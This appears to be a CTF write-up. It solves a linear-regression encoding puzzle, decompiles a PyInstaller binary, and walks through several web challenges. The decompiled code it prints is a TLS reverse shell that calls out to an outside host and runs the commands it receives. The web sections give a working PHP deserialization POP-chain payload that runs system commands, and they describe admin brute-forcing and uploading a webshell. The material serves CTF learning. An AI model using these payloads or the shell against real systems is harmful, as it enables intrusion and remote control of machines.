4TILRSG4USYIBIGI3DELBAGI3TCMJRFY3DQMZJFQQCQOJVFQQDSOJRGAXDGNRWFEWCAKBRG42SYIBRHAYTKMBOGM4TOKJMEAUDCOBVFQQDCOJRHAYC4MZWGEUSYIBIGEZTGLBAGEZTQMRUFYYTCNJJFQQCQMRSHEWCAMRTG4YTELRTGMZCSLBAFAZDOLBAGI4TANROGM2TKKJMEAUDCMRZFQQDCMZUGEZC4OBXGUUSYIBIGM4DCLBAGM4TGNRZFYZTCOBJLUFA====
Decode base32 to get 18 groups of lists
[(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)] [(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)] [(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)] [(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)] [(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)] [(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)] [(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)] [(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)] [(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)] [(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)] [(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)] [(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)] [(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)] [(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)] [(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)] [(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)] [(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)] [(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]
Take out the first set of data, write Python script drawing, and find that it looks like a linear function
import matplotlib.pyplot as plt m = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)] for i in m : plt.scatter(i[0],i[1]) plt.show()
Script linear fitting to obtain linear equation
import numpy as np import matplotlib.pyplot as plt from scipy import stats m = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)] x_list = [] y_list = [] for i in m: x_list.append(i[0]) y_list.append(i[1]) x_data = np.array(x_list) y_data = np.array(y_list) slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data) print('y='+str(slope)+'x'+'+'+str(intercept))
The linear equation obtained by testing the first set of data is
y=102.00301205797477x+108.13292800289128
It is found that the slope k is about 102, the intercept b is about 108, the corresponding ascii code characters are f and l respectively, and the obvious flag begins. Therefore, the idea is very clear.
Idea: linear fitting 18 groups of data - > 18 linear equations - > take out the slope k and intercept b of each equation - > round K and b and convert them into corresponding characters, and finally splice them to get the flag
The final code is as follows
from scipy import stats import numpy as np m1 = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)] m2 = [(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)] m3 = [(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)] m4 = [(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)] m5 = [(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)] m6 = [(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)] m7 = [(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)] m8 = [(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)] m9 = [(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)] m10 = [(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)] m11 = [(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)] m12 = [(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)] m13 = [(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)] m14 = [(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)] m15 = [(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)] m16 = [(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)] m17 = [(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)] m18 = [(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)] m_num = [m1,m2,m3,m4,m5,m6,m7,m8,m9,m10,m11,m12,m13,m14,m15,m16,m17,m18] flag = '' for i in m_num: x_list = [] y_list = [] for j in i: x_list.append(j[0]) y_list.append(j[1]) x_data= np.array(x_list) y_data=np.array(y_list) slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data) print(intercept) flag += chr(int(slope)) flag += chr(int(intercept)) print(flag)
run the script
PS: the last bit of the script is | instead of}, because there is a certain error in linear fitting. The last intercept b=124.98366819023431, and the rounding should be 125. Replace it manually
flag{L1n34r_R3g7e5S10n_A_G0Od_Th1ng}
Misc3-testcat
Download the compressed package as follows
Open test with notepad + + and find that a large number of Python libraries are import ed. The executable file should be packaged with pyinstaller.
So use pyinstxtracker to extract *. pyc files
Find test_ In the extracted folder, find the. pyc file and extract it separately
Decompile *. pyc files using uncompyle
uncompyle Library installation command: pip install uncompyle
Decompile 1.pyc
uncompyle6 1.pyc > 1.py
Error report found
**Reason: * since each. pyc file has a magic head, the magic part of. pyc will be removed when PyInstaller generates. exe. It needs to be supplemented during decompilation. This problem has been solved by the higher version of pyinstxtracker 2.0.
Solution:
If manual replenishment is required magic head In case of: Use hexadecimal mode to view the data in the main file and the main file directory struct File, you need to insert 16 bytes and struct File consistency (where the first 4 bytes are Python (the compiled version shall be completely consistent) Note that the template file only needs to insert 8 bytes, and struct File consistency
My pyinstxtracker doesn't know why, but the first byte is wrong. Find the struct.pyc modification under the main file and know that the first byte is 55. Manually modify 1.pyc and the first byte is 55.
Decompile again to get 1.py.
# uncompyle6 version 3.8.0 # Python bytecode 3.8.0 (3413) # Decompiled from: Python 3.7.6 (tags/v3.7.6:43364a7ae0, Dec 19 2019, 00:42:30) [MSC v.1916 64 bit (AMD64)] # Embedded file name: 1.py import socket, subprocess, os, ssl def o0Ooo00o0o(): global domain global port global s global ssls global xxx try: domain = 'wh47.ju5tf0r.test' port = 64321 s = socket.socket() ssls = ssl.wrap_socket(s, ssl_version=(ssl.PROTOCOL_TLSv1_2)) xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68, 147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147] except socket.error as lll11ll1ll1l1lll1lll1l: try: try: try: print(str(lll11ll1ll1l1lll1lll1l)) finally: lll11ll1ll1l1lll1lll1l = None del lll11ll1ll1l1lll1lll1l finally: lll11ll1ll1l1lll1lll1l = None del lll11ll1ll1l1lll1lll1l finally: lll11ll1ll1l1lll1lll1l = None del lll11ll1ll1l1lll1lll1l def o0o0oo0oO0(): try: yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW' yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7' yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw' yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5' yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---' ssls.connect((domain, port)) ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > ')) except socket.error as lll11lllll1l1l1l1lll1l: try: try: try: print(str(lll11lllll1l1l1l1lll1l)) finally: lll11lllll1l1l1l1lll1l = None del lll11lllll1l1l1l1lll1l finally: lll11lllll1l1l1l1lll1l = None del lll11lllll1l1l1l1lll1l finally: lll11lllll1l1l1l1lll1l = None del lll11lllll1l1l1l1lll1l def oOo0Oo00O0(): while True: l1llllll11lll1l1l1lll1 = ssls.recv(1024) l1llllll11lll1l1l1lll1 = l1llllll11lll1l1l1lll1.decode('utf-8').strip() print('received ' + l1llllll11lll1l1l1lll1) if l1llllll11lll1l1l1lll1[:2] == 'cd': os.chdir(l1llllll11lll1l1l1lll1[3:]) ssls.send(str.encode(str(os.getcwd()) + ' > ')) else: if len(l1llllll11lll1l1l1lll1) > 0: l1lll1l1lll1lll11llll1 = subprocess.Popen(l1llllll11lll1l1l1lll1, shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE), stdin=(subprocess.PIPE)) l11lll1ll11ll1ll11lll1 = l1lll1l1lll1lll11llll1.stdout.read() + l1lll1l1lll1lll11llll1.stderr.read() l1111ll1lllll1ll11l1l1 = str(l11lll1ll11ll1ll11lll1.decode('utf-8')) ssls.send(str.encode(l1111ll1lllll1ll11l1l1 + str(os.getcwd()) + ' > ')) if len(l1111ll1lllll1ll11l1l1.split('\n')) > 2: lll11ll1lllll1ll11l1l1 = 2 else: lll11ll1lllll1ll11l1l1 = 0 print('Sent: ' + lll11ll1lllll1ll11l1l1 * '\n' + l1111ll1lllll1ll11l1l1) if not l1llllll11lll1l1l1lll1: break s.close() def main(): o0Ooo00o0o() o0o0oo0oO0() oOo0Oo00O0() if __name__ == '__main__': main()
Audit code, get the key information, and send the spliced characters in XXX [] to the target
Write a python script to get the compressed package password
password:%x+0%!i0_UbP@Wfz!>v^
Unzip cai.zip, get the cat file, throw it into the hexadecimal editor, and find that it is a png image
Modify the file name to cat.png, and use StegSolve to view the picture channel information
A QR code is found in channel blue 0
Scan the QR code to get the flag
flag{Ju57_E4sy_2_93t_17}
Web
Web1-checkin
Accessing the target url is a game playing interface
It's impossible to play a game. Of course, it's to find the flag in the front-end js code
Directly ctrl +u to view the source code, find game.js, go in and search for flag globally
flag{134791e2-d93c-4d01-a71f-dcbe82d7fe08}
Web2-easypop
Visit the url to get the following code interface
error_reporting(0); highlight_file(__FILE_); $pwd=getcwd(); class func { public $mod1; public $mod2; public $key; public function __destruct() { unserialize($this->key)(); $this->mod2 = "welcome ".$this->mod1; } } class GetFlag { public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); } }
Audit the code and find the key place to unserialize ($this - > key) ().
Analyze the code logic: first, the serialized data of parameter 0 passed by get will be deserialized, and then the attribute key will be deserialized again in the destructor of func class. Therefore, we also need to construct the key as the serialization class GetFlag and call get_flag() method, in which we can use create_function injection performs code injection to obtain the flag.
But how to call get in GetFlag when instantiating func_ What about the flag () method?
Solution: we can use the array method to call get in class GetFlag when instantiating class GetFlag_ Flag () method, i.e. array ['new GetFlag', 'get_flag'].
Script to generate the final payload
<?php error_reporting(0); $pwd=getcwd(); class func{ public $mod1; public $mod2; public $key; public function __destruct() { unserialize($this->key)(); $this->mod2 = "welcome ".$this->mod1; } } class GetFlag{ public $code = ';}system("cat /flag");//'; public $action = 'create_function'; public function get_flag(){ $a=$this->action; $a('', $this->code); } } $a = new func(); $b = new GetFlag(); $a->key = serialize(array($b,'get_flag')); echo serialize($a); ?>
Run the script to generate a payload
O:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:126:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:24:";}system("cat /flag");//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";
Send payload to get flag
Web3 - digging master
Access url
Check the source code and find that it is built by international cms
Suspicious path index/admin found in JS code
Splice the path in the url of the home page, and find that it jumps to the management background, and the real path of the background is:
/index.php/admin-login-index.html
After brute force cracking, the account password of the management background is obtained
admin/88888888
After entering the background, it is found in the basic settings that the suffix of the uploaded file can be modified. We directly add php
Find the upload point at the QR code and upload the one sentence Trojan horse directly
It is found that there is filtering, so modify the Trojan horse code and upload it again
